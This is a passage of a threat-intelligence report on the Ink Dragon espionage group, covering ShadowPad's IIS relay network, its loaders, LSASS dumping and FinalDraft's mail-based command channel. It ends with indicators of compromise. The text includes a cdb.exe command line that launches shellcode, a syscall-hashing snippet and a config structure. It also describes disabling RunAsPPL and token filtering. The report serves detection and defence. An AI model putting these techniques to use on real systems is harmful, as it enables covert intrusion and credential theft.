        buf[pos] ^= num & 0xFF
        pos += 1

    return buf

Requests that do not conform to the attacker’s expected encrypted structure are quietly handled as normal IIS traffic: static files are served from the configured webroot folder when available, and legitimate error pages are returned otherwise. This fallback behavior ensures the listener remains operationally stealthy, presenting a legitimate façade while still acting as a covert interception point.

Split Command Architecture

Once a request passes the module’s URL‑matching, decryption, and structural checks, the ShadowPad IIS Listener evaluates the embedded command ID. These commands fall into two broad categories, both of which are handled by the same component.

The first category contains the instructions responsible for building and maintaining the distributed relay network. These include commands that register an endpoint as a “server,” commands that register an endpoint as a “client,” and the logic that pairs nodes, forwards traffic, and maintains the two queues that drive the hop‑to‑hop communication model.

The second category is entirely separate in purpose: a full backdoor command set enabling the operator to interact directly with the local system. These commands cover host reconnaissance, file operations, data collection, payload staging, configuration updates, process control, and network‑level actions. In other words, the same module responsible for linking compromised machines into a cross‑victim relay chain is also fully capable of operating as a traditional ShadowPad backdoor on that same host.

Distributed Relay Network Construction

The most strategically significant capability lies in the module’s role in building and maintaining the operator’s distributed relay network. The IIS Listener maintains two concurrent registries of peers: a server list and a client list. Nodes can add themselves to either list via dedicated command IDs. Entries in the server list are periodically revalidated every 30 seconds, and the module issues acknowledgments to confirm ongoing availability. Nodes placed into the client list behave differently; if a client remains unpaired for 30 seconds, it is automatically pruned to prevent stale links.

Whenever a new node is inserted into one of the lists and the Listener detects that both lists contain at least one live entry, it pairs the first server node with the first client node. At that moment, it sends the server the victim’s IP address. After this handshake, the module establishes bidirectional relaying between the two sockets, shuttling each packet from server → client and client → server with no further processing. The result is a fully transparent hop that allows an upstream operator to deliver commands to a downstream client without ever interacting with that client directly.

Backdoor Features

The IIS Listener Module of ShadowPad also includes features of the ShadowPad client, letting the attackers run different commands on the IIS machine. This embedded command set provides the operator with extensive control over the compromised host, enabling everything from reconnaissance to interactive access to payload staging.

The breadth of these command IDs illustrates how ShadowPad’s IIS Listener is more than a simple traffic forwarder; it is a self-contained control surface capable of both maintaining the distributed relay network and exerting fine-grained control over any machine running it. This duality is central to Ink Dragon’s operational philosophy: relay-capable nodes double as fully functional access points, allowing the operator to maintain stealthy persistence, collect intelligence, deploy additional tooling, and issue high-privilege instructions without ever exposing their true command infrastructure.

ShadowPad’s backdoor exposes a broad command surface designed to give operators full, hands-on control of a compromised system. It begins with basic orchestration capabilities, retrieving the full command map, gathering a detailed system snapshot, launching an interactive reverse shell, or cleanly shutting down the implant when needed. From there, the malware offers an extensive file-management layer that can enumerate drives, walk directories, manipulate timestamps, create or remove files and folders, and read, write, move, or download data on demand. This is complemented by rich process and service control, allowing operators to list and kill processes, inspect loaded modules, and start, stop, or delete Windows services with the same precision seen in legitimate administration tools.

ShadowPad also supports multiple execution models, including running commands with output capture, spawning interactive console processes with full screen-buffer access, and maintaining long-lived execution channels through pipes. The networking side is equally capable: the implant can inspect local TCP/UDP tables, alter network entries, and even serve as a pivot point by proxying or tunneling traffic through the infected host. In practice, these capabilities turn the backdoor into a complete remote operations platform that blends system administration, espionage tooling, and covert tunneling into a single, tightly integrated module.

ShadowPad Loaders

ShadowPad is a modular, multi-layered backdoor framework widely attributed to Chinese state-sponsored threat groups and frequently used in long-term espionage campaigns. ShadowPad allows operators to deploy customized modules for data exfiltration, credential harvesting, and lateral movement.

In Ink Dragon’s operations, we observed numerous ShadowPad deployments following a recurring triad sideloading structure: an executable, a malicious DLL, and an encrypted TMP payload. The legitimate or masqueraded executable loads the malicious DLL, which in turn decrypts and executes the ShadowPad core from the TMP file directly in memory, erasing the payload afterward to minimize forensic artifacts.

A notable detail in Ink Dragon’s ShadowPad loader is that many of the malicious DLLs across different incidents shared the same generic name, DLL.dll. The DLL loaders were MFC-based binaries, where the malicious code was heavily obfuscated using ScatterBrain.

Once executed, these loaders perform on-the-fly decryption of configuration data and payloads stored in the same directory.

Path	Executable	DLL
C:\Users\Public	vncutil64.exe	vncutil64loc.dll
C:\Program Files\Microsoft\Edge	ApplicationLogs.exe	atiadlxy.dll
C:\Program Files\Microsoft\Edge\Application	msedge_proxyLog.exe	msedge_proxyLogLOC.dll

CDBLoader

One of Ink Dragon’s most distinctive TTPs is leveraging the Microsoft debugger (cdb.exe) as an execution host.

Rather than launching a typical EXE, the operator runs a WinDbg/CDB scripted session, such as: c:\users\public\cdb.exe -cf C:\Users\Public\config.ini -o C:\Users\Public\cdb.exe.

The shipped config.ini is not an innocuous INI file. It contains a sequence of memory-edit / write-bytes commands followed by a change to the instruction pointer (RIP) so execution continues at the attacker-controlled shellcode. The shellcode, in turn, reads an auxiliary file (wmsetup.log) from disk, decrypts it with an AES key hard-coded into the shellcode, and loads the real payload into memory for execution. After the payload runs, the debugger instance and helper files are often removed, leaving only transient memory-resident code.

LalsDumper

LalsDumper is Ink Dragon’s in-house LSASS extraction chain observed during multiple intrusions. The sequence starts with a small loader (lals.exe) that manipulates a companion DLL (fdp.dll) in the same folder. The loader locates a placeholder (32 ‘d’ characters) inside fdp.dll, overwrites that placeholder with the path to an auxiliary file (rtu.txt), and produces a patched DLL named nfdp.dll.

Crucially, the loader calls AddSecurityPackageA to register the DLL as a Security Support Provider (SSP) so that lsass.exe will load it, a technique that forces LSASS itself to load attacker code in-process.

The registered DLL reads rtu.txt, applies a simple XOR with 0x20 to recover a secondary payload, and then maps that payload into memory. The payload implements a custom MiniDumpWriteDump-like routine (not using the Windows API directly) to create a compressed dump of lsass.exe, writing a ZIP-like dump file named <%TEMP%>\<pid>.ddt.

The chain uses direct syscalls (hashed at runtime) to evade API-based hooking and EDR detection.

def hash_syscall(name: str) -> int:
    h = 0xCD7815D6                # constant seed
    for (*WORD) ch in name:       # iterate Unicode code-points
        h ^= (ord(ch) & 0xFFFF) + ror32(h, 8)
    return h & 0xFFFFFFFF

The DLL exposes a function called Tom, which serves as the payload’s runtime entry point and orchestrates the loader’s core logic: when invoked, Tom creates a file in the system TEMP folder named using the victim process ID (for example %TEMP%\<pid>.ddt), captures a memory dump of lsass.exe and writes that dump into the .ddt file using a ZIP-style archive format.

032Loader

032Loader is a sideload-based loader that uses host-specific entropy to decrypt and execute payloads. After being sideloaded by a legitimate executable, the loader patches the host EXE’s code flow so that control transfers to its own logic immediately after load.

The loader then queries the system’s InstallDate from the registry and derives a decryption key from that value. It uses the InstallDate as the seed for RC4 (or RC4-like) decryption of a third-file blob (the encrypted payload), often accessed via the SystemFunction032 API to perform the decryption step. Once decrypted, the loader maps the payload via CreateFileMappingW / MapViewOfFile and adjusts memory protections with VirtualProtect, then transfers execution to the in-memory payload.

FinalDraft: New Version

FinalDraft is a well-engineered, full-featured remote administration tool with the ability to accept add-on modules that extend functionality and proxy network traffic internally, mostly by abusing Outlook mail service via the Microsoft Graph API. The samples and behavior we analyzed are consistent with previous public write-ups, but Ink Dragon’s deployments show continued feature expansion and careful operational tuning to reduce telemetry and maximize resilience.

FinalDraft begins by locating and decrypting its configuration blob. The configuration is XORed with either a hash derived from the host ProductId (making the config per-machine) or the hash of a hardcoded string.

Once decrypted, the config exposes a unique GUID for the implant, the preferred communication transport, an AES key for message encryption, C2 endpoints and refresh tokens, and other operational metadata.

00000000 struct __fixed config_structure
00000000 {
00000000     char refresh_token[5000];
00001388     char backup_refresh_token_url[200];
00001450     char guid[36];
00001474     int unknown;
00001478     __int16 build_id;
0000147A     int sleep_val;
0000147E     char communication_method;
0000147F     char aes_key[16];                
0000148F     char external_ip_or_not;
00001490     char self_remove_flag;
00001491     char exit_byte __bin;
00001492     __int64 unknown;
0000149A     int interval_val;
0000149E     int repeat_val;
000014A2     int[7] time_list;
000014B2     __int64 time1;
000014BA };

The most commonly used transport we observed is COutlookTrans, which leverages the Microsoft Graph API (the token endpoint at https://login.microsoftonline.com/common/oauth2/token) to hide command-and-control traffic inside legitimate cloud mail flows. FinalDraft uses a refresh token embedded in its configuration to acquire OAuth access tokens, which it stores locally under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\ for later use. Commands and responses are exchanged as email drafts (messages whose subject starts with r_<session_id> and p_<session_id>). The payloads inside those messages are base64-encoded, AES-encrypted (with the config key), and compressed, which helps the operator hide instructions inside otherwise normal mailbox data and bypass network filtering that whitelists Microsoft cloud endpoints.

FinalDraft implements a modular command framework in which operators push encoded command documents to the victim’s mailbox, and the implant pulls, decrypts, and executes them. Beyond the standard toolkit (process/service control, file/registry access, tunneling, and file transfer), the Ink Dragon variants we analyzed introduce several extensions that increase stealth, operational control, and data-theft efficiency.

Flexible Beacon Scheduling

The malware supports highly granular callback controls, allowing operators to define daily beaconing windows or specify an explicit list of times when the implant will attempt to reach its C2. This schedule-based design helps blend command traffic into predictable operational patterns.

RDP Activity Harvesting

DumpRDPHistory extracts evidence of both outbound and inbound RDP usage.

1. RDP OUT (Outbound RDP targets) – MRU-like entries in the user registry hives that record the servers the user has connected to (the built-in RDP client’s Recent Server list). For each entry, the tool reads UserNameHint and the registry key’s last write time to produce lines like: <ServerName>:<UserNameHint>:<Timestamp>. This data is queried from HKCU\SOFTWARE\Microsoft\Terminal Server Client\Servers\<ServerName>\
2. RDP IN (Inbound RDP sessions) – Event log entries from the Terminal Services Local Session Manager operational channel that record session connect/disconnect events. The tool queries Windows Event Log (via EvtQuery / Get-WinEvent) for Event ID 21 (Remote Desktop Services: Session logon succeeded) and 25 (disconnect/other session events depending on Windows version). From these, it extracts records like: <UserName>:<IP>:<TimeStamp>.

Security Control Downgrades

Several commands intentionally weaken Windows security posture to assist persistence and lateral movement:

• DisableRestrictedAdmin – makes RDP connections authenticate with reusable credentials or delegated tokens, enabling credential hopping instead of “restricted” mode authentication. It makes RDP more attractive for lateral movement because an attacker who already controls an endpoint can initiate Restricted Admin connections using local credentials or stolen hashes to hop to other systems without needing cleartext passwords.

• DisableTokenFiltering – disables remote token filtering so local admin accounts receive full, not restricted, admin tokens over the network. This allows attackers to use reused or harvested local credentials to perform truly administrative remote actions without requiring domain credentials.
• EnableDSRMAdmin – allows the powerful DSRM recovery account to log in even when the DC is not in Directory Services Restore Mode. It gives an attacker a powerful, low-audited way to gain full local control of a DC using an otherwise seldom-monitored credential or hash.

• DisableRunAsPPL – removes Process Protection Level safeguards, enabling injection and tampering with protected processes such as AV/EDR components. Adversaries do this to defeat endpoint defenses (allowing in-memory loaders, hooking, or live patching of AV and EDR components), to persist by replacing signed binaries, or to extract secrets from processes that would normally be protected.

High-Throughput Exfiltration

BackgroundFileTransfer introduces a dedicated asynchronous worker for large-scale exfiltration. It streams data in sizeable chunks, reports progress in the background, and minimizes the number of required outbound connections. This is ideal for moving large archives over cloud-proxied channels without attracting attention.

Host Profiling & Inventory

Ink Dragon consolidates multiple reconnaissance routines such as system fingerprinting, adapter enumeration, and installed software collection into a unified host profile. This captures IP configuration details (similar to ipconfig /all), network adapter metadata, installed applications (from HKLM and HKCU uninstall keys), system identifiers (MachineGuid, ProductId, InstallDate, and System uptime), and other indicators useful for victim classification and targeting.

Victimology

Ink Dragon’s targeting patterns show a consistent emphasis on government organizations, but beyond that shared characteristic, there are no clear indicators of how the actor selects its victims. Most affected organizations appear to serve a specific operational purpose for the actor rather than reflecting broad, industry-wide targeting.

Geographically, Ink Dragon has focused heavily on government entities in Southeast Asia and Africa, and in recent months has expanded its activity into Europe. Since the ToolShell exploitation wave in July, the actor has steadily increased its operations in the region, with a growing concentration on European government-sector targets. A key aspect of Ink Dragon’s tradecraft is its use of compromised organizations as C2 relay nodes. As a result, we have observed European victims being leveraged to launch activity not only against additional European institutions, but also against targets in Africa and Southeast Asia.

Overlap With RudePanda / REF3927 Activity

During our investigation, we also observed evidence of a second intrusion set commonly tracked as RudePanda / REF3927 on several of the same victim environments compromised by Ink Dragon. While we do not assess these activity clusters to be operationally linked, the victimology overlap is notable: both actors exploited the same internet-facing server vulnerability to gain footholds in identical organizations and systems.

Upon gaining access, RudePanda relied on its customary toolset, which included:

• Godzilla-derived webshells used to execute in-memory .NET payloads and deploy secondary components.
• Malicious IIS modules belonging to the TOLLBOOTH family embed command-and-control logic directly inside the web server’s processing pipeline. Several modules contained PDB references to dongtai, consistent with tooling previously documented in public reporting.
• Configuration tampering of IIS’s applicationHost.config, where a simple diff against previous snapshots exposes the unauthorized module insertions.

In addition, the actor deployed a kernel-mode rootkit driver, wingtb.sys (2965ddbcd11a08a3ca159af187ef754c), a modified and signed variant of Winkbj.sys. Its installation uses an INF file (Hidden.inf) naming the service “Wingtb.” The driver is derived from the open-source “Hidden” rootkit project, used to conceal files, processes, and registry entries after being activated on the system.

Finally, several .lnk artifacts referencing the operator’s backdoor kit that is consistent with the GoToHTTP tooling previously documented by both HarfangLab and Elastic were recovered on disk. Although the original payloads were deleted, these link files served as additional indicators of RudePanda’s presence.

Conclusion

Ink Dragon’s operations illustrate a shift in how modern espionage clusters weaponize compromised infrastructure. Rather than treating each victim as an endpoint to be monitored or harvested, the group systematically folds every breached perimeter server into a distributed ShadowPad relay fabric. The IIS Listener Module sits at the center of this strategy: a stealthy, low-friction component that binds hidden URL prefixes, intercepts traffic without disrupting legitimate services, and quietly links victims together into a multi-hop communication grid.

This architecture transforms the threat landscape in several ways. First, it grants the operators resilient command paths that do not rely on fixed infrastructure. Even if a downstream implant has no internet reachability or if upstream servers are blocked, the attacker can simply reroute through other victims. Second, it provides natural operational camouflage. Traffic tunneled between unrelated government or enterprise networks appears outwardly benign and often blends into the expected profile of inter-organizational HTTP flow. Third, it enables strategic re-use of compromised assets: once a host is enrolled as a ShadowPad relay, it becomes an evergreen pivot point that continues to serve campaigns long after the initial intrusion.

The rest of the kill chain reinforces this design philosophy. Mature sideloading patterns, modular loader triads, memory-resident payloads, compartmentalized privilege escalation, and disciplined credential harvesting all serve one purpose: establish durable, high-privilege access long enough to turn the victim into reliable infrastructure. Whether deploying FinalDraft, staging ShadowPad loaders, or extracting domain-wide secrets, each action feeds back into the broader communication mesh that Ink Dragon relies on to maintain persistence across environments.

Taken together, Ink Dragon presents a threat model in which the boundary between “compromised host” and “command infrastructure” no longer exists. Each foothold becomes a node in a larger, operator-controlled network – a living mesh that grows stronger with every additional victim. Defenders must therefore view intrusions not only as local breaches but as potential links in an external, attacker-managed ecosystem, where shutting down a single node is insufficient unless the entire relay chain is identified and dismantled. Ink Dragon’s relay-centric architecture is among the more mature uses of ShadowPad observed to date. A blueprint for long-term, multi-organizational access built on the victims themselves.

IOCs

2e84ea5cef8a9a8a60c7553b5878a349a037cffeab4c7f40da5d0873ede7ff72 - dongtai module
e2f6e722c26e19b76396c2502cacf2aaceaaa1486865578c665ebf0065641ffa - dongtai module
f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1 - Wingtb.sys
a86e72ca58de6d215a59ae233963eaea27fe47ef0c9f43938e27339df4a86732 - 032Loader
7efe5c1229178c1b48f6750c846575e7f48d17ea817997bd7acba0e5ecf1e577 - 032Loader
D88115113E274071B03A3B4C1DA99EAEA7B8D94ADF833DFD26943AF0A6D78B4D - 032Loader
f094ff83d4b7d06bc17b15db7d7dc0e622778b0eda71e8fc9fdf7db83c460426 - nfdp.dll
36f00887f6c0af63ef3c70a60a540c64040b13a4209b975e96ce239e65548d4a - fdp.dll
ecf0fbd72aac684b03930ad2ff9cdd386e9c13ddf449f27918f337dc8963590e - LalsDumper
2b57deb1f6f7d5448464b88bd96b47c5e2bd6e1c64c1b9214b57c4d35a591279 - LalsDumper
b4a53f117722fb4af0a64d30ec8aa4c4c82f456e3d2a5c5111c63ce261f3b547 - ShadowPad Loader
866fde351251092fb5532e743459ba80968cd5516cce813c8755467f5e8a47a1 - ShadowPad Loader
188ab2d68f17ecf08a7a4cfc6457c79b0a5117b3277352a7371a525416129114 - ShadowPad Loader
809ddcbb64d6f2ccc4a8909068da60e6ea8b3ebd9c09dd826def0e188c7a2da2 - config.ini
f438ca355e6888c4c9cd7287b22cfe5773992ef83f0b16e72fb9ae239d85586c - FinalDraft
c305b3b3f9426d024cdd262497a5d196264397bfed445705759d0a793a58fe6e - Encrypted FinalDraft

The post Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation appeared first on Check Point Research.